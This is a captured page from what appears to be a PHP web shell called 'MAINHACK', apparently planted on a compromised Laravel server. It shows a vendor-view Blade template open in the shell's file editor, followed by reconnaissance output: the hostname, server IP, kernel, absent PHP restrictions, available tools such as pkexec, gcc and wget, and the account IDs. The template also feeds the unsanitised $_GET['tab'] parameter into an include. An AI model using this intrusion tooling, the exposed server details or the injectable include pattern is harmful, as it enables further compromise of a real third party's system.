[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: view.blade.php
@extends('layouts.app') @section('content') <div class="row"> <div class="col-lg-10 offset-lg-1"> <ul class="nav nav-tabs business-settings-tabs mb-4"> <li class="nav-item"><a class="nav-link {{ isset($_GET['tab']) ? '' : 'active' }}" href="{{ route('vendors.show', $vendor->id) }}"><i class="fas fa-tools mr-2"></i><span>{{ _lang('Overview') }}</span></a></li> <li class="nav-item"><a class="nav-link {{ isset($_GET['tab']) && $_GET['tab'] == 'purchases' ? 'active' : '' }}" href="{{ route('vendors.show', $vendor->id) }}?tab=purchases"><i class="fas fa-receipt mr-2"></i><span>{{ _lang('Purchases') }}</span></a></li> <li class="nav-item"><a class="nav-link {{ isset($_GET['tab']) && $_GET['tab'] == 'transactions' ? 'active' : '' }}" href="{{ route('vendors.show', $vendor->id) }}?tab=transactions"><i class="fab fa-paypal mr-2"></i><span>{{ _lang('Transactions') }}</span></a></li> <li class="nav-item"><a class="nav-link" href="{{ route('vendors.edit', $vendor->id) }}"><i class="far fa-edit mr-2"></i><span>{{ _lang('Edit Details') }}</span></a></li> </ul> @if(! isset($_GET['tab'])) <div class="card"> <div class="card-body"> <div class="row"> <div class="col-xl-3 col-md-6"> <div class="card mb-4 primary-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5>{{ _lang('Total Bill') }}</h5> <h4 class="pt-1 mb-0"><b>{{ $purchase->total_bill }}</b></h4> </div> </div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card mb-4 warning-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5>{{ _lang('Total Amount') }}</h5> <h4 class="pt-1 mb-0"><b>{{ formatAmount($purchase->total_amount, currency_symbol(request()->activeBusiness->currency)) }}</b></h4> </div> </div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card mb-4 success-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5>{{ _lang('Total Paid') }}</h5> <h4 class="pt-1 mb-0"><b>{{ formatAmount($purchase->total_paid, currency_symbol(request()->activeBusiness->currency)) }}</b></h4> </div> </div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card mb-4 danger-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5>{{ _lang('Due Amount') }}</h5> <h4 class="pt-1 mb-0"><b>{{ formatAmount($purchase->total_amount - $purchase->total_paid, currency_symbol(request()->activeBusiness->currency)) }}</b></h4> </div> </div> </div> </div> </div> </div> <table class="table table-bordered"> <tr> <td colspan="2" class="text-center"><img class="thumb-xl rounded" src="{{ profile_picture($vendor->profile_picture) }}"></td> </tr> <tr><td>{{ _lang('Name') }}</td><td>{{ $vendor->name }}</td></tr> <tr><td>{{ _lang('Company Name') }}</td><td>{{ $vendor->company_name }}</td></tr> <tr><td>{{ _lang('Email') }}</td><td>{{ $vendor->email }}</td></tr> <tr><td>{{ _lang('Registration No') }}</td><td>{{ $vendor->registration_no }}</td></tr> <tr><td>{{ _lang('Vat ID') }}</td><td>{{ $vendor->vat_id }}</td></tr> <tr><td>{{ _lang('Mobile') }}</td><td>{{ $vendor->mobile }}</td></tr> <tr><td>{{ _lang('Country') }}</td><td>{{ $vendor->country }}</td></tr> <tr><td>{{ _lang('Currency') }}</td><td>{{ $vendor->currency }}</td></tr> <tr><td>{{ _lang('City') }}</td><td>{{ $vendor->city }}</td></tr> <tr><td>{{ _lang('State') }}</td><td>{{ $vendor->state }}</td></tr> <tr><td>{{ _lang('ZIP') }}</td><td>{{ $vendor->zip }}</td></tr> <tr><td>{{ _lang('Address') }}</td><td>{{ $vendor->address }}</td></tr> <tr><td>{{ _lang('Remarks') }}</td><td>{{ $vendor->remarks }}</td></tr> </table> </div> </div> @else @include('backend.user.vendor.tabs.'.$_GET['tab']) @endif </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002